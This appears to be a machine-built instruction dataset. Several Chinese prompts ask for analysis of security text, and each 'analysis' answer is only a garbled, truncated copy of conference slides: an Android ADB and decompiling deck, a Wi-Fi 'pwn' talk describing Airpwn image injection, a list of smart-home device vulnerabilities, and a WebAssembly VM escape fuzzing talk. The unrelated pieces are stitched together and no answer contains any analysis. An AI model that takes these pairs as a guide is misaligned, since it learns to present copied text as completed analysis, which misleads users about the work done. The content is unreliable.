Useful&ADB&Commands&
•  install&
– Copies&an&applicaGon&package&ﬁle&(APK)&to&the&
mobile&device&and&installs&the&app&
– Useful&for&sideEloading&apps&(so&you&don't&have&to&
use&Google&Play)&
•  shell&
– Starts&a&remote&shell&on&the&mobile&device&
– Allows&you&to&execute&arbitrary&commands&
Slides'and'projects'at'samsclass.info'
Decompiling&and&Disassembly&
Slides'and'projects'at'samsclass.info'
StaGc&Analysis&
•  Source&code&is&generally&kept&conﬁdenGal&by&
app&developers&
•  A&binary,&compiled&app&can&be&analyzed&by&
disassembling&or&decompiling&them,&into&
– Smali&assembly&code&(used&by&Dalvik&VM),&or&
– Java&code&
Slides'and'projects'at'samsclass.info'
Slides'and'projects'at'samsclass.info'
TD&Ameritrade&
•  No&obfuscaGon&
Slides'and'projects'at'samsclass.info'
Bank&of&America&
•  ProGuard&Free&Obfuscator&
– Worthless&
Slides'and'projects'at...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

“How can I pwn thee?
Let me count the ways”
RenderMan
RenderLab.net & Church of Wifi
Render@Renderlab.Net
How can I pwn thee?
● Born out of conversations at SECTOR
● Workforce is increasingly mobile and wireless
● Mobile users are away from your watchful
BOFH eye (and punishment)
● How do you educate them, protect your
company, protect yourself
● By no means and exhaustive list
● Full Disclosure
Meet Bob
● Bob works for widgets
international
● Bob sells widgets
● Bob travels to
customer sites
● Bob is your worst
nightmare
Bob
● Bob likes to think
himself tech savvy
● Bob really just knows
enough to get access
to pr0n
● Bob is widgets
internationals worst
enemy
● Bob is also the worst
case scenario
Let me count the ways
● Let's pwn Bob
● We won't touch Bob,
just abuse wireless
communication
● I.E. Bored hackers on
long trips to a
conference through
international airports
coming from another
international
conference in, say,
Norway...
WiFi Threats
● Bob has a laptop with
tons of private
company info
● Bob likes to connect
to hotspots at
airports, train
stations, hotels
● Bob connects to
anything – Linksys
Global Network
WiFi Threats
● Hotspots generally do not encrypt
● Cleartext = Clear to read = Clear to inject
– Images, Scripts, DNS, etc
● No VPN = certain pwn'age
● No firewall + browsable shares = pillage!
● MiTM attacks, password snarf
● Defcon 15 Hotel net
● Attacker is on the local net
● Driver Vulns
Norway experiment
● Airpwn inject 'alternate' images
● See if other continents were observant
● First image, not so much...
First Image
Norway Experiment
● Not many noticed
● A few scratched heads
● Lets up the ante
● Second image...
Second Image
They got the hint
I didn't get punched in the face (yay!)
WiFi Threats
● Karma, Hotspotter,
Metasploit
● Hacking the friendly
skies
● Cafe Latte exploit,
recover company
WEP keys
● De-auth headaches
● If it's on, it's probably
pwn'able
Stopping WiFi Threats
● Disable Wifi when not in use
● C...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

© 2012
Presented by:
Home Invasion v2.0
Attacking Network-Controlled Embedded Devices
Daniel
“unicornFurn
© 2012
© 2012
•
Who are we?
© 2012
The Presenters
•
Daniel “unicornFurnace” Crowley
– Managing Consultant, Trustwave (SpiderLabs team)
•
Jennifer “savagejen” Savage
– Software Engineer, Tabbedout
•
David “videoman” Bryan
– Security Consultant, Trustwave (SpiderLabs team)
© 2012
© 2012
•
What are we doing here?
© 2012
The “Smart” Home
Science fiction becomes science fact
Race to release novel products means poor security
Attempt to hack a sampling of “smart” devices
Many products we didn’t cover
Android powered oven
Smart TVs
IP security cameras
© 2012
© 2012
•
What’s out there?
© 2012
Belkin WeMo Switch
© 2012
Belkin WeMo Switch
1.
Vulnerable libupnp version
2.
Unauthenticated UPnP actions
1.
SetBinaryState
2.
SetFriendlyName
3.
UpdateFirmware
© 2012
MiOS VeraLite
© 2012
MiOS VeraLite
1.
Lack of authentication on web console by default
2.
Lack of authentication on UPnP daemon
3.
Path Traversal
4.
Insufficient Authorization Checks
1.
Firmware Update
2.
Settings backup
3.
Test Lua code
5.
Server Side Request Forgery
6.
Cross-Site Request Forgery
7.
Unconfirmed Authentication Bypass
Vulnerable libupnp Version
© 2012
INSTEON Hub
© 2012
INSTEON Hub
1.
Lack of authentication on web console
1.
Web console exposed to the Internet
© 2012
Karotz Smart Rabbit
© 2012
Karotz Smart Rabbit
1.
Exposure of wifi network credentials unencrypted
2.
Python module hijack in wifi setup
3.
Unencrypted remote API calls
4.
Unencrypted setup package download
© 2012
Linksys Media Adapter
1.
Unauthenticated UPnP actions
© 2012
LIXIL Satis Smart Toilet
© 2012
Radio Thermostat
1.
Unauthenticated API
2.
Disclosure of WiFi passphrase
© 2012
SONOS Bridge
© 2012
SONOS Bridge
1.
Support console information disclosure
© 2012
© 2012
•
DEMONSTRATION
© 2012
© 2012
•
CONCLUSION
© 2012
Questions?
Daniel “unicornFurnace” Crowley
dcrowley@trustwave.com
@dan_crowley
Jennifer “savagejen” Savage
savagejen@g...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Is WebAssembly Really Safe? - Wasm VM Escape and
RCE Vulnerabilities Have Been Found in New Way
Zhao Hai(@h1zhao)
#BHUSA  @BlackHatEvents
#BHUSA   @BlackHatEvents
Information Classification: General
About US
TianYu Lab of Cyberpeace Tech Co., Ltd.
天虞实验室
TianYu Lab
Lei Li
Supervisor
Mengchen Yu
Manager
Zhichen Wang
Researcher
Hai Zhao
Researcher
#BHUSA   @BlackHatEvents
Information Classification: General
Agenda
• WebAssembly Runtime Introduction
• WebAssembly Fuzz Tools Develop
• Vulnerabilities Analyse And Exploit Develop
• Conclusion
#BHUSA   @BlackHatEvents
Information Classification: General
What we focus? - WebAssembly Runtime
Previous Researches
focus on
We are
interested in
#BHUSA   @BlackHatEvents
Information Classification: General
WebAssembly Runtime Architecture
The stack is divided
into two parts.
Bounds Check
BOF? sorry
WASI is a system
interface. Similar to
syscall in c
Docker？
#BHUSA   @BlackHatEvents
Information Classification: General
WebAssembly Runtime Vulnerability
Bounds Check
I would say WASM
standard is really safe,
but not its runtime.
Maybe
vulnerable
#BHUSA   @BlackHatEvents
Information Classification: General
WASM Fuzz Develop
•
Focus on WASM file structure、WASI API、bytecode implemention in runtime.
•
Coverage guide fuzzing.
Wasm generator use AFL/libfuzzer’s
output samples as input data, mapping
them to wasm files
Coverage guide
samples
do I am
coverage
guided?
#BHUSA   @BlackHatEvents
Information Classification: General
WASM Generator / Structure
• Follow wasm format, we develop the wasm generator.
• Core idea is to make the Non randomizable fields fixed or
calculated, otherwise use the data read from the fuzzer’s
samples.
Fixed magic and version
Fixed range(0~16) Section ID
Calculated Section Len
randomizable field
……
#BHUSA   @BlackHatEvents
Information Classification: General
WASM Generator / Structure
Our generator use C++ objects to handle every types of section, every fields of
section, this is easy to impleme...